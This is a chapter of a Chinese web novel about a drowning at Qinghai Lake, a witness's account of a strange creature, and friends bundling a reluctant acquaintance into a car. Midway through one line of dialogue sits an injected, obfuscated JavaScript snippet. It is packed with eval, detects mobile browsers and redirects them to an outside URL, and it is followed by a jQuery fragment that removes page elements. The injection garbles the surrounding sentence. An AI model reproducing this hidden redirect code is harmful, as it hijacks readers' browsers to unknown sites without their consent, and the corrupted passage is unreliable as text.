周游和二百八一直在客栈大厅门口等着,一来关心冷晚晚的状况,二来也可以随时了解湖面上的救援状况,他们站在门口等了很久也不见冷晚晚出来,索性并排坐在了大厅外头的台阶上。 中途,大厅沙发上躺着的妇人醒了,抱着冷晚晚捞上来的红色运动鞋猛哭了一阵,后来兴许是太累了,哭声渐渐消减下去,两人估摸着应该是又哭晕过去了。 周游和二百八在外面瞅着妇人悲痛欲绝的样子,心里也是一阵阵难受,转瞬之间,亲人可能就阴阳两隔了,换谁也接受不了,周游叹了口气,回身坐回原位,却看到二百八正扯着衣摆偷偷抹眼泪,周游跟看到鬼一样,一脸不可思议地看他:“你怎么了?” 二百八吸着鼻子,瓮声瓮气地说:“唉,想起我妈了,她当年走的时候,我也是哭得死去活来的……” 原本周游还打算揶揄二百八几句的,结果他这话一出,周游半晌都不知道该怎么接话,愣在了原地,最后还是二百八自己平复了心情,率先打破沉默:“你呢,爸妈还好?我当年老往你们宿舍跑,经常看你逢年过节都不回家,听他们说你跟爸妈好像关系不咋好?唉啊,儿女和父母哪有隔夜仇,你呀要多珍惜跟父母在一起的日子,别像我似的,子欲养而亲不待啊……” 他说着长叹一口气,言语间满是惆怅和遗憾。 周游一直闷着声,过了好一会儿才表情阴郁地低声来了一句:“我情况不一样。” 二百八眼色贼快,瞅出周游似乎不愿提及家人,赶忙转移话题:“诶,你说这么久了,那姑娘还有救吗?” 他说着往不远处的青海湖摆了摆下巴。 此时阳光正盛,白灿灿的光洒在湖面上,就像撒了一层碎银子,耀眼夺目,晃得人睁不开眼睛,两人下意识眯眼,久久地盯着辽阔蔚蓝的湖面,愣神了半晌后,周游喃喃说道:“多半没戏了,没人能在水下待那么久……除非是属鱼的……” 其实结果大家早已心知肚明,人在水里那么久了早就没救了,眼下大家还翘首以待,不愿放弃,只是希望能有奇迹发生罢了。 说者无心,听者有意,周游刚刚那番话只是随口一说,这倒是提醒了二百八,他立马想到了冷晚晚,一个姑娘家在水下待那么久,还真是稀奇了。 “你说那个冷晚晚,怎么那么勇,不管不顾就跳下去了,还在水里待那么久,按你这话说的,她属鱼的?能用鳃呼吸?” 虽然跟冷晚晚之间的事还未了结,但眼下人家为了救人下水,周游不想在这个时候在背后议论别人,于是随口应付:“你没听说人家是游泳冠军啊。” “游泳冠军怎么了,她不是人?是人都有极限,我没看到哪个游泳冠军能在水里憋气半个小时的,除非带着装备潜水的,但是人家不是光着下去的么……”二百八越说越觉得这事儿匪夷所思。 周游听着不禁皱起眉头,抬头白了二百八一眼:“什么叫人家光着下去的……” 二百八一时语塞,顿了顿,有些无语:“……我的意思是……她没带什么潜水装备就下了水,哎呀,我就随口一说,你这么较真干什么?” “那你就说清楚,别让人产生歧义不就好了,这么大年纪了,话都不会说?” “嘿,我说周游,你哪根弦搭错了,跟我不依不饶的,不知道的还以为你跟那冷晚晚有点什么呢……”二百八说着十分不满地翻了周游一眼。 眼见着二百八的话越说越不着调,周游面露愠色,不耐的冲着他啧啧两声,二百八知道自己再说下去周游就要发火了,这才摊摊手、瘪瘪嘴不说话了。 二百八一闭嘴,四下里一下子就安静了下来,大厅里,两个热心阿姨聚在一起低声说着话,声音似有若无地飘出来,瞬间被屋外呼呼的风声和澎拜的浪声覆盖消解,两人就那么漫无目的地盯着眼前的风景,炙烈的阳光,盈蓝的水面,不远处迭起的白浪,有那么一瞬两人仿佛置身盛夏的海岛,可下一秒湖面的搜救冲锋舟和迎面而来干燥的热风,让两人迅速清醒过来。 视线不远处,一男一女两个警察快步从湖边走过来,女的看起来很年轻,像是初出茅庐的样子,男的看起来四十出头,他们走得很快,眨眼就到了大厅门口,迈腿就要上台阶,周游和二百八见状,忙往台阶两边让了让。 两个警察匆匆走进大厅,先跟两个热心阿姨聊了几句,后来沙发上的妇人听到动静醒了,女警察也尝试着跟她聊了聊,希望她能讲讲事发时的具体情况,妇人强自振作着坐起身来,刚开口没说几句就难忍悲伤,又哽咽着哭起来,眼泪像落雨一般止不住从眼角滚落。 男警察见多了这样的场面,也不慌,给女警察使了个眼色,女警察立马起身从前台抽出几张纸帮妇人擦眼泪,一边擦还一边小心地安抚她的情绪,两个热心阿姨也凑在一旁说着一些开解她的话。 妇人知道自己现在不应该哭,可就是忍不住,她拼命克制着自己的情绪,压低声音哭了好一会儿,最后才一抽一抽地停下来,开始断断续续地讲述。 周游和二百八坐在门口装作看风景的样子,可耳朵没闲着,竖起来听了半天,原来那妇人是为了庆祝女儿考上了好学校,才带着女儿来青海旅游的,他们在青海湖才刚刚待了两天,今天一早两人在湖边互相拍照,妇人一边拿着手机取景,一边指点女儿拍照的姿势,两人正拍得高兴,也没注意脚下离水边越来越近,再加上也没听说过青海湖边有断崖什么的,所以也就掉以轻心了。 后来,妇人突然听到女儿“呀”了一声,她以为女儿不注意踩水里了,还有些不以为意,刚准备叮嘱女儿小心一点,就看到女儿不知道被什么东西一下子拖进了湖里,速度很快,女儿在水里拼命扑通挣扎,想要张口呼救却已经喊不出声音。 妇人被突如其来的状况吓得魂飞魄散,惊叫一声,身体几乎是条件反射一般不管不顾就往水里冲,想着一定要把女儿拉上岸,但水里似乎有股无形的力量,突然一使劲,她手都还没有伸过去,就眼睁睁看着女儿消失在浪花里。 “人呢?人呢?” 妇人惊恐万分,像疯了一样在水里扑来扑去,可不论她怎么扑,怀里都只剩下湿漉漉的虚空,她望着辽阔无尽的湖面,崩溃无措,这时岸边有游客看出了她的异常,以为她是想不开要跳湖,于是高声劝她不要做傻事,也就是这一声声的呼喊让妇人从绝望的边缘清醒过来,深一脚浅一脚地奔回岸边,哭喊着向客栈里的人求助。 “您看清水里是什么东西了吗?”女警察问。 妇人摇了摇头,她什么都没看见,但她可以确定水里有一股力量扯着她的女儿坠入水底。 听到这里,两个警察相互对视一眼,眼中似乎已有某种猜想。之后女警察又问了一些细节,妇人可能是因为情绪上受到了巨大的刺激,思维有些混乱,回答有些模糊不清。 见也问不出什么了,两个警察便拜托两个热心阿姨多照顾一下,两个阿姨也是做母亲的人,自然知道出了这种事情,对身为母亲的人打击有多重,都非常感同身受,于是欣然应允。 交代完,两人起身正准备走,那妇人突然很是激动地一把抓住了女警察的胳膊,语气恳切:“警察同志,我想问一下,我的女儿……” 可刚说到女儿两个字时,妇人一下子梗住了,她咬了咬唇,强制将胸中涌动的情绪压下去,末了深深地吐出一口气,嘴唇微颤,嗫嚅着开口:“她……她还有救吗?” 女警察很是为难,不知道该怎么说,说实话吧,这不相当于往人家家属的伤口上撒盐吗?说假话吧,要是到时候无法兑现,这不得担责任嘛,这说话也是一个技术活儿,她进系统还没几年,资历尚浅,这种情况还是有些难以应对。 她有些焦灼地舔了舔唇,忙向身边的同事发送求救信号,一旁的男警察见状,赶忙冲着妇人说:“您放心,我们一定会尽力救援,咱们不抛弃不放弃,说不定就有奇迹发生呢!” 这话说得婉转,既不十分肯定也不十分否定,尺度把握得刚刚好,听在不同的人耳中,抓住的重点都不同,妇人会抓住奇迹的点,心里还抱有一丝希望,能比较平静地接受结果。 而这句话在二百八耳中基本上就相当于宣判了死亡,他拿胳膊肘撞了撞周游,低声问:“咱们在这儿要坐到什么时候啊?听这意思,人是救不上来了。” 周游没说话,过了一会儿突然说:“冷晚晚还没出来呢……” 一听这话,二百八突然阴阳怪气,拉着长音“哟”了一声,心想这又是哪出啊,刚刚在餐厅里还剑拔弩张的,这会儿又是什么情况? 周游眉头一皱,语气十分不爽:“你哟什么哟?” 二百八冲着周游别有深意地笑笑:“没事儿,没事儿,你就当我嘴痒……” 两人你一言我一语,正说着话呢,大厅后方的住宿区突然传来一阵脚步声,周游几乎是条件反射,立马转过头去,二百八也紧随其后,跟着转过头去,立马就看到了不远处的冷晚晚和小夭,两人下意识就站起身来,就像两道门神立在门边往里看。 冷晚晚梳洗过后,素面朝天,经过刚刚的事儿,显然还没缓过劲儿来,一张小脸还惨白惨白的,她穿一身棉麻面料的米白色长裙,上头用黑色和金色丝线点缀,绣出一副写意韵味十足的国风竹子画,在走动摇曳之间,远远看去,宛若浓淡相宜的墨在裙间游走舞动,从肩头一直铺陈到裙摆,裙子是宽松样式,束上一条腰带,恰到好处地显出了腰身,又不会过于妩媚,整个人看上去清冷淡雅。 小夭跟在一旁,面上没什么表情,眼睛却始终盯着冷晚晚,眼神满是担忧。 周游静静地看着冷晚晚,眼神有些复杂,嘴巴张了又张,嘴边的话最终还是没说出口。 一旁的二百八看得眼睛都直了,心里忍不住感叹,这女人啊,美起来是真美,让人赏心悦、目不暇接,坏起来也是真坏,跟别人合伙把他跟周游耍得团团转,但好起来又真好,别人落水有危险,她二话不说就扑通跳下水救人,又挺英勇正义,这一体多面,变幻不定的,真是让人摸不着头脑,这一刻,二百八算是充分见识到了人性的复杂。 冷晚晚走到在沙发旁站定,冲着两个警察点点头:“我现在可以做笔录了。” 两个警察看了看沙发上泪眼婆娑的妇人,又注意到屋外两个伸长了脖子往屋里看的男人,两人眼神交流了一番后,女警察便把冷晚晚往餐厅里引。 “走,咱们去餐厅里聊。” 冷晚晚点点头,抬脚就往餐厅走,小夭刚准备跟上,冷晚晚停下来冲她轻轻摇了摇头,示意她不要跟过去了,小夭性子急,一听不让她跟着,差点就要嚷嚷了,但瞥见正回头等着的女警察,生生把声量压了下来,低声说:“我不放心你。” 冷晚晚没说话,抬手轻轻拍了拍小夭的手背,让她放心,见她还嘟着嘴,又用力地看了她一眼,眼中命令的意味强烈。 小夭欲言又止,最后只能心不甘情不愿地留在了大厅里,目送冷晚晚和警察离开,但心里始终放不下,站在原地不时回头往餐厅那边看。 大厅里里外外的人也都伸长了脖子,好奇地往餐厅那头看。 就在这时,一个长发男人嘴里叼着根青草,晃晃悠悠晃到了大厅门口,他看到有两个男人正在趴在门口往里看,以为有什么热闹看,好奇心发作,赶忙凑过去,站在周游和二百八身后也跟着往大厅里看,结果看来看去只看到几个女的在大厅发愣,实在没看出什么名堂,还搞得自己一头雾水。 最后实在忍不住了,他拍了拍二百八的肩膀:“唉,哥们儿,你们看什么呢?” 他这一开口,冷不丁把周游和二百八吓了一大跳,二百八一个没忍住,直接叫出声:“哎哟喂,吓死了!” 这一声动静不小,所有人的目光都齐刷刷看了过来。 待看清眼前的男人,二百八狠狠地拍了那男人肩膀一下,嘴里不停埋怨:“唉,你吓死我了,给我吓出个好歹来你得负责啊!” 说着,又冲着男人微微一笑:“最近都没见你人,又去哪儿闲晃了?” 二百八说话的语气很熟络,看来是熟人。 周游在一旁默默打量起眼前这个男人,身高目测跟自己差不多,上身穿着T恤,紧绷的肌肉若隐若现,下身穿牛仔裤配长靴,留着一头飘逸的中长发,皮肤晒得黝黑发亮,他懒懒散散地站着,嘴里叼着根青草杆子,随着嘴巴动来动去,颇有点西部牛仔的味儿。 男人戴着墨镜,遮住了大半张脸,周游还是通过他高挺的鼻梁和分明的下颌骨看出这人五官很立体,很有男性张力。 男人很快也注意到周游审视的目光,于是扯了扯嘴角,手指往下勾了勾鼻梁上的墨镜,露出一双凌厉的眼睛,也以同样的眼神看了回去,将周游上上下下打量了个遍,才用下巴朝着周游摆了摆,似笑非笑地冲二百八说:“这位你不介绍一下?” 二百八遇到熟人聊得忘了形,经过这么一提醒,才恍然大悟地一拍脑门,赶忙介绍:“啊,对对对,这是我好兄弟周游。” 男人却突然露出一脸吃惊样:“哟,没想到你还有好兄弟呢!” 说完,冲着周游扯了扯嘴角,微微点了点头。 对方说话明显有些阴阳怪气的,二百八也不生气,打着哈哈说:“哎呀,我这兄弟人好,肚量大不计较……我们大学就认识了……” “噢,怪不得!”男人咧着嘴,意味深长地看着周游。 周游看出来这两人关系并不好,那男人言语之间似乎很是瞧不上二百八,不过也是,看二百八做的那些事,是个正常人也很难能瞧得上,自己最开始不也是吗,现在跟他混在一起,也纯属事出有因。 介绍完周游,二百八又指了指男人,介绍道:“这是我朋友,叫……额……额……” 在说名字的时候,二百八支支吾吾半天也说不出来,面上有些尴尬。 “晓川。”男人嘴角微微上挑着接了话,维持住了一个假笑的弧度。 “对对对,晓川,这是我朋友晓川。” 好家伙,连名字都不知道还朋友呢,周游一整个大无语,但面上还维持成年人的风度,也是微微一笑,冲着晓川点了点头,末了转头问二百八:“这哥们儿,本地人?” 晓川抢先一步回答:“居无定所,四海为家!” “这么一看,你们俩应该还蛮多共同话题的!”二百八瞅了瞅周游,又瞅了瞅晓川,乐呵呵地在一旁补充。 “哦?”晓川有些好奇地看向周游。 “我这兄弟专门拍探险视频的,全国各地跑,大博主!”二百八说着很是自豪的搂住周游的肩膀。 几乎同时,周游扭头狠狠瞪了二百八一眼,二百八立马知趣的缩回了手。 “哦?账号是什么?我关注一下!”晓川立马掏出手机,作势就要搜索。 周游径直拿过晓川的手机,搜索出视频账号,对着他微微一笑:“就这个!” 两人正聊着呢,小夭突然怒气冲冲地从大厅冲出来,冲着晓川吹胡子瞪眼,大声嚷嚷:“就是你吧?!” 事发突然,晓川一下子懵了,心想着我最近也没惹什么姑娘啊?但看到小夭气呼呼的样子,又有点不敢确定,他迅速打量了一下小夭,实在没想起自己跟这姑娘有什么暧昧的牵扯,估摸着又是一个绞尽脑汁想认识他的美女,心里难免有些沾沾自喜。 唉,都怪自己这该死的魅力! 想到这里,他自信地撩了撩头发,凹出一个帅气的角度,冲着小夭莞尔一笑:“这位美女,你是不是认错人了?” 小夭冷笑:“怎么?这么快就忘了?早上不是你别我们的车,还把我拦在了半路上?!” 猝不及防的一句话,晓川心里咯噔一下,面上的笑容瞬间就僵了,眼见着对面的小夭怒火冲天,恨不得上前一把薅住他的脖领子,跟他好好算一算帐,顿时觉得大事不妙。 原本还以为是美女搭讪呢,结果是找他算账来了!先前的沾沾自喜瞬间荡然无存,心里只剩下无尽的后悔……他真想啪啪啪猛扇自己这张馋嘴,馋什么不好,非得馋观澜客栈的牦牛肉番茄锅,结果跑这儿来饭还没吃上呢,跟人撞个正着!这么一看,车里的两个姑娘脾气都个顶个的火爆,自己今天是要遭老罪了。 他面上维持着镇定,脑瓜子飞速旋转,盘算着怎么脱身,下意识连连摆手否认:“不是,不是,那肯定不是我!我怎么可能对女孩子做这种事呢!” 他一着急,原本叼在嘴里的青草杆子掉了下去,在空中转转悠悠落了地。 一听晓川死不认账,小夭眉毛恨不得拧成川字形,上前一把抓住他的胳膊,一副要干仗的架势,嘴巴还不忘出言讽刺:“你是不是男人?做了事儿还不敢认,我跟你说我这人记忆力好得很,你就算化成灰我也认得,你既然不承认,那咱就等着,等我姐们儿过会儿出来,咱们当面对质好吧!” 晓川慌里慌张,硬是被一个小姑娘逼得连连后退,早就没了刚才闲适得瑟的模样。 周游和二百八从小夭的话里已经听了个大概,生怕小夭要动手,赶忙拦着,不停劝小夭冷静,但又似乎觉得眼前的场面十分有趣,眼神中透着难掩的吃瓜兴奋劲儿。 原本一起去了餐厅的男警察,听到外头的动静不小,以为又出了什么事,跟女警察示意了一下,又快步从餐厅出来。 见到大厅门口一群人挤在一起,闹哄哄的,于是厉声问:“门口的,干什么呢?” 这一声响起,门口的四人同时停下了动作。 小夭慢悠悠回头,突然换了一副嘴脸,冲着警察一脸甜笑:“没事没事,警察叔叔,我们闹着玩儿呢!” 说着转过头,为了显示自己的友好,还假模假式地摸摸晓川的头,又摸了摸他的胳膊,略带威胁口吻,从齿缝中挤出一句:“笑!都给我笑!” 说完,四人都同时冲着警察龇牙笑起来。 警察定定地看着四人,总觉得这几人怪怪的,但又没看出他们之间有什么不妥的举动,想了想,只能语气严肃地教育了一番:“现在什么情况,还在这里闹!你们要么小点声,要么换个地方去闹。” 四人连连点头,表示知道了。 坐在一旁沙发上的妇人仍旧面无表情地抱着怀里的运动鞋,双眼发直,没有焦点,反倒是两个热心阿姨歪着身子往门外看,脸上充满了对青春回忆的憧憬,末了低声感叹:“还是年轻好啊,连吵架都看着有趣!” 警察说完就往餐厅去了,小夭见警察走了,立马敛了笑容,拽着晓川的胳膊就往楼梯下走。 晓川咋咋呼呼:“唉,你别动手动脚的啊,男女授受不亲!” 小夭一个猛然回头,狠狠瞪了他一眼,手指放到嘴上嘘了一声。 “小点声,你真想让警察来会会你啊!我劝你出门在外,最好少惹警察,对你对我都好!” “行行行,我不喊了,你别拉拉扯扯行不行?”晓川低声下气。 小夭全然不吃这一套,照旧我行我素。 既然软的不行,那就试试硬的,晓川心里打定了注意,立马站定,用力甩开小夭的手,板着脸,怒气冲冲地冲着小夭喊:“我都说了,不要动手动脚,别逼我对女的动手啊! 言语之间,都是恐吓威胁的味道,结果哪里知道小夭更不吃这一套,人家听了这话一点也不害怕,反而一脸不屑,把自己的脑袋送过去,顶着晓川的胸口说:“来来来,你打,你打,我让你打!” 晓川被顶得后退连连,简直毫无办法!好嘛!今天是遇到狠人了,真是软硬不吃!他连忙举起手来,表达投降的意思,语气缓和地说:“好了好了,有事儿我们好好说!行不行?” 小夭冷笑一声,又拽住了他的胳膊,要拉着他走。 晓川被整的实在没办法了,只能不停用眼神向二百八发送求救信号,二百八这家伙也是见识过小夭的厉害,哪里敢上前劝阻啊,那不是惹祸上身吗?于是瘪瘪嘴,冲着晓川连连摆手,表示自己实在是爱莫能助。 晓川一时想不出万全的办法,只能忍气吞声,任凭小夭拉着往楼梯下走,心里倒是挺想知道她到底要干嘛,二百八看着两人拉拉扯扯,一脸兴奋,不等两人走远,就拉着周游快走几步,紧跟了上去,摆明了看热闹去的。 周游可是见识过小夭的各种狠辣招数,那真是不走寻常路,让人根本招架不住,眼下小夭正在气头上,不知道又要发什么狠,一想到接下来可能发生的“血腥”场面,他不禁有些同情晓川,于是拽了拽二百八:“你朋友,你不管管?” 二百八笑嘻嘻的,一脸的毫不在意:“哎呀,一个姑娘能拿他怎么样?咱先看看戏,看看再说!” 周游一脸鄙夷:“这人到底是不是你朋友?你这人真特么没有心!” 二百八一听不乐意了,脚下步子一顿,没好气地说:“你要看不惯,你去!” 周游没接话,只是看了小夭怒气深重的背影一眼,就想起之前被勒住脖颈的场面,只感觉后脖颈子丝丝冒凉气,心里直发怵。 见周游哽住不说话了,二百八切了一声,嫌弃地说:“还说我,你自己不也害怕么?” 被戳中心思的周游面上有些尴尬,但还是拼了命嘴硬找补:“俗话说,人各有命,遇上小夭说不定就是他命中注定的劫数,我跟他非亲非故的,不值得冒这个险!” 二百八阴阳怪气呵呵了两声,露出一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319327|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你看我信吗”的表情。 周游尴尬干咳了两声,赶忙指了指已经走远了几步的晓川和小夭,试图转移话题:“哎呀,走走走,那俩都已经走远了!” 二百八顺着他手指的方向看去,只见小夭正拉拽着晓川往客栈门口的一辆车的方向走,这辆车二百八很熟悉,之前一直是小马开的。 这是要干嘛?这是要去开车? 二百八和周游一下子有些看不懂眼下的剧情发展,立马好奇地快步跟了过去。 晓川被小夭拉拽着走了一路,很是不爽,他一个看起来痞坏非常的糙汉,几时被女的这样牵着鼻子走过?他忍了又忍,耐着性子多次劝说小夭放手,结果小夭充耳不闻,他最后实在忍不住了,试图用力甩开她的手,面带愠怒:“行了,你别拽着我了行嘛?我自己会走!一个姑娘家的拉拉扯扯像什么样子!你不就是想要个说法吗?我当时不就已经跟你们道歉了吗?你现在还纠缠我,到底想干什么?” 小夭死拽着晓川就是不松手,揶揄道:“哟?现在承认了?刚刚不还信誓旦旦,装不认识我么,再说了,我要不拽着你,你又跟之前一样,脚底抹油一溜烟跑了,我上哪儿找你去!” 晓川无奈:“行行行,我答应你我不跑行不行?你先松开我!” 小夭仰着脑袋看他,像是要判断他话的真假,晓川还以为她被说动了,结果下一秒,她眼睛一横,强势拒绝:“你以为本姑娘这么好骗啊!快点!去车里待着!” 说着快走几步,把晓川拽到车边,打开车门推他进去,晓川抵住车身就是不进去,一个用力推,一个用力抵抗,两人在车旁推来推去,争执不下。 周游和二百八根本不敢插手,生怕受到波及,连站都不敢站的太近,尽可能保持两米开外的安全距离,伸长了脖子好奇吃瓜, 小夭终究是个姑娘,力量上不占优势,几个来回后,晓川稍稍一使劲,就把她推了个趔趄,小夭气急,回头冲着周游和二百八大喊:“还看什么呢?赶紧帮忙把他弄到车上去啊!” 突如其来的召唤,让周游和二百八愣了两秒,十分不确定地各自指了指自己:“你叫我们啊?” 小夭表情不耐地嚷道:“你们快过来!” 这是请人帮忙的态度?好好说话都不会?再说了你跟这男的有恩怨关我们什么事儿,我们只是看热闹而已,没事儿干嘛惹祸上身?闲的吗? 周游原本心里就有气,现在又看到小夭颐指气使的样子,更加不忿,于是就装作没听见似的,站着一动不动,二百八还迟疑呢,见周游没动,也不敢轻举妄动。 见两人都不动,小夭着了急,随即灵机一动,说道:“你们不是想知道之前事嘛,这家伙跟他们是一伙儿的!事情他都知道!” 此话一出,周游和二百八对视一眼,二话不说,一拥而上,手脚并用推着晓川就往车里塞,二百八一边卖力往里推,还一边道歉:“兄弟得罪了!得罪了!我也是没办法!” 晓川见势不妙,左冲右撞,拼命挣扎,慌张大喊:“二百八,咱们可是朋友,你干嘛!” “抱歉了兄弟,你要得罪了这俩祖宗,我也帮不了你……再说了,实在事出有因……” 二百八说到这里,下意识看了小夭一眼,见小夭正恶狠狠瞪他,心下一惊,瑟缩了一下,赶忙偏过头,接着找补:“我是说……咱们确实朋友一场,但奈何我自己的命比较重要,再说了,这俩美女也不是不讲道理的人,等事儿说清楚了,也就没事了,你放心。” 见游说二百八没用,晓川忙又转换思路,使劲嚷嚷,试图吓退他们。 “你们这什么意思?是要绑架勒索吗?你们放手,再不放手我就喊人了啊!” 小夭扒着车门,脑袋刻意往他身前靠了靠,皮笑肉不笑地说:“小点声,刚刚警察叔叔不都说了吗?让我们小声一点。” 说完,一秒变脸,用力使劲把晓川的头给按进了车里。 原本只有小夭,晓川还能应对,这下又加上了两个男人,一个高大,一个孔武,纵使拼命抵抗,终究还是双拳难敌四手,周游和二百八三下五除二就把晓川塞到车里,晓川挣扎的实在太累,索性放弃了抵抗,仰躺在车里,无念无想地问小夭:“你到底想干嘛啊?” “没想干什么,就有事儿想问问你,之前看你开车跑路跑那么快,担心你又来这一套,所以就把你请上车等了,等会儿的,等我姐妹儿出来的。” 晓川冷哼了一声:“这就是你的‘请’上车?” 小夭轻蔑一笑,然后幽幽开口:“怎么?不满意?要不再来一次?” 晓川瞬间心死,只能无奈地闭上了眼睛。 ******* 餐厅的角落里,两个警察和冷晚晚面对面坐着。 也许是因为冷晚晚见义勇为的缘故,警察对她格外客气,不停赞扬冷晚晚下水救人勇气可嘉,又夸赞了一番她的游泳技术,说到末了,这才语重心长地跟她科普贸然下水的危险性。 冷晚晚坐在对面,脊背崩地笔直,眼睛始终盯着桌面,也没什么反应,两个警察说了好一会儿,见她面上始终没什么表情,两个警察大眼瞪小眼,面上都有些尴尬。 男警察毕竟资历老,经事儿多,什么风浪没见过,赶忙打哈哈:“算了算了,别的咱们先就不聊了,先说正事儿,下水的事儿。” 这句话说完,冷晚晚这才抬起头来,开始慢慢讲述自己下水的经过。 “所以,那个女孩是被那东西抓走了?”女警察一脸震惊。 冷晚晚点点头:“嗯,那东西力气很大,我都拽住女孩的脚了,结果还是……” 冷晚晚说着,脑中又闪过当时的画面,心中实在不忍,心绪瞬间起伏,有些哽咽说不下去了。 女警察看出了她的情绪起伏,赶忙停下来,起身帮她面前的茶杯里续了点茶,说着一些柔和安抚的话,等到冷晚晚的情绪渐渐平复下来,这才又接着问话。 “所以,你看清那东西是什么了吗?”女警官接着问。 冷晚晚摇摇头:“只看见身上有鳞片,个头不小……似乎……” 说到这里,冷晚晚犹疑了一下,接着又说:“似乎身上还长着毛,五官奇奇怪怪,像凶神恶煞的狗,龇牙咧嘴的,感觉是我……没见过的生物……” 听了冷晚晚前半段的话,两个警察基本已经判定,冷晚晚看到的不明生物应该就是之前频繁作案的不明鱼类了,最近青海湖边有好几起游客被不明鱼类袭击咬伤的事情,但冷晚晚紧接着补充的内容又让他们一时间有些摸不着头脑,那东西又长鳞又长毛,五官长相更是诡异,别说青海湖了,就是这世间会有这种奇异的生物吗?简直闻所未闻嘛! 两个警察对视一眼,冷晚晚说的郑重其事,不像是假话,那么就只有一种可能,那就是她可能看错了,毕竟是在水下,视物条件没有那么好,加上水里光线的折射,很有可能看错,再加上情绪紧张,甚至可能会出现幻觉。 但这种话也不好直说,男警察想了想,斟酌了一下语言,末了冲冷晚晚笑了笑:“最近青海湖发生好几起不明鱼类攻击游客的事情,根据您刚刚的描述,感觉这次的事情很有可能也是鱼类的攻击……我们常年在青海湖边执勤,其他生物的可能性很小……您说那东西身上又有鳞又有毛的,是不是在水下看错了?” 冷晚晚知道警察不太相信她的描述,只当是她在水底看花了眼,也是,谁会相信青海湖里有那种怪东西,她要不是亲眼所见,她也不相信。 面对警察的询问,她不置可否,毕竟就她一个人看见,实在没啥说服力,她咬了咬嘴唇,没再说话,但她心里知道,她确确实实看到了,水下世界她再熟悉不过,怎么可能看错?!她分明看到那东西浑身长满黑色的长毛,在水下游动时露出了长毛下密密排布的鳞片,长相如恶狗,凶神恶煞,对着她露出獠牙。 见冷晚晚不说话了,警察便猜测可能是她自己也无法确信,对自己的描述也没有什么把握,便不再纠结这个问题,转而又问了一些其他的问题,冷晚晚都如实地答了,后来都问得差不多了,警察又程序性地跟她聊了几句,就算做完了笔录。 几人起身离开了餐厅,两个警察走在前头,冷晚晚跟着一道往外走,穿过大厅时,冷晚晚又见到了那位躺在沙发上悲伤过度的母亲,情绪再度低沉了下去,心里闷闷的,急需出去透透气。 她跟在两个警察身后,快步往门外走,门外不远处的小夭眼疾手快,一见到警察冒头,立马啪嗒一下子甩上了车门,非常自然地依靠着车身,面向周游和二百八,做出一副在闲聊的样子。 两个警察也没有过多地关注他们,下了台阶径直往湖岸边走去,此时救援还在进行,警察和消防还在岸边安排救援工作,不时用对讲机跟冲锋舟上的人员交流情况。 冷晚晚往台阶下走了几步,炙烈的阳光一下子打在她身上,像是一股股暖流从头到脚迅速包围她,她贪恋地在台阶上站定,闭目仰头感受着阳光的温暖,心头的恐惧和身上的阵阵寒意稍稍缓解,原本惨白的脸色也有了一丝血气。 “喂,这边!”小夭在不远处朝着冷晚晚招手。 冷晚晚听到声响,慢慢睁开眼睛,朝着小夭的方向望去,只见小夭正跟周游和二百八站在车旁,不停朝她招手,冷晚晚一脸狐疑,不明所以地走过去,到近前时,小夭突然笑意盈盈地朝着车里摆了摆下巴,冲着冷晚晚说:“猜猜是谁?” “谁?” 冷晚晚一时有点摸不着头脑,看看小夭,又看看周游,小夭这人耐不住性子,还没等冷晚晚明白过来,她就一下拉开了车门,只见里头还坐着个男的,一时间,四目相对,男人尬笑着冲着冷晚晚招了招手:“嗨,美女,咱们又见面了。” 冷晚晚一脸茫然地盯着男人,显然她并没有认出来这个男人是谁,末了皱着眉头问:“你谁啊?” 小夭提醒:“就那个,别我们车的……” 哦,原来是那个家伙!冷晚晚的记忆瞬间被唤醒,再看向晓川时,眼神冰冷锐利,带着十足的怨气。 “你好,我叫晓川!”晓川舔着脸自我介绍,还伸出手试图跟冷晚晚握手。 冷晚晚抱着胳膊一动不动,眼睛死死盯着晓川,眼中凛冽的光芒射出,像利剑一般想要把他扎个对穿,晓川面上虽然带着笑,但心里实在发毛,身子不自觉往后缩了缩。 就这么盯了好一会儿,冷晚晚突然脑袋一扭,扔出一句:“饿了!吃饭去吧!” 小夭简直傻眼,着急忙慌地指着晓川问:“那他怎么办?” 冷晚晚看也不看,迈腿就往餐厅走,丢下一句:“把他带上。” **** 26. 湖边小孩 佟刚沿着湖边一连开了好几个小时的车,终于在临近中午的时候远远地见到了聚集的人群,还有重型吊车停在岸边作业,他一眼就认出了手下兄弟的车,赶忙侧打方向盘,往岸边开过去。 围在岸边草场的铁丝网已经被撞开,几条深浅不一的车辙印直达湖边,其中最打眼的莫过一条歪七扭八的车辙印,刹车痕迹很重,像犁过地一般,泥土都胡乱地翻了上来。 根据现场的痕迹来看,像是出了什么突发意外,导致刹车出了问题,车在胡乱地开了一阵后,径直开到了湖里。 他车刚停稳,手下的兄弟们就围了过来,带头的叫张波,三十出头的年纪,身上有点功夫底子,跟着佟刚从小认识,一直跟着佟刚在冷家干活儿。 他拉开驾驶座的车门,探身进去问佟刚:“你怎么现在才来?” “路上有点事耽误了。” 佟刚从车上下来,往湖边看了看,西瓜皮的一波人都围在吊车旁,他下巴往那边指了指:“怎么样?” 张波摇摇头:“有几个人穿着装备下去了,要先在下头确定好车辆位置,之后就能用吊车弄上来了……只是……” 说到这儿,张波有点吞吞吐吐。 佟刚看了他一眼,问道:“怎么了?” “就是……西瓜皮那一群人对你意见大得很,说是他哥要是有个三长两短就要你偿命!他现在情绪很激动,我建议……你现在先不要过去,担心他过会儿会有过激的举动。” 佟刚视线在不远处的人群里扫了扫,没发现西瓜皮的踪迹,问道:“西瓜皮呢?怎么没看到他?” 张波用眼神指了指吊车的驾驶室,满脸担忧地说:“在那里头呢!这会儿正在气头上,要不你先在车上待会儿?” 佟刚顺着张波的视线往驾驶室看,西瓜皮几乎背对着他,只能看到一个侧脸,看起来情绪很激动,正跟驾驶室里的人争论什么。 “我知道的,我心里有数。”佟刚拍了拍张波的肩膀,让他放心。 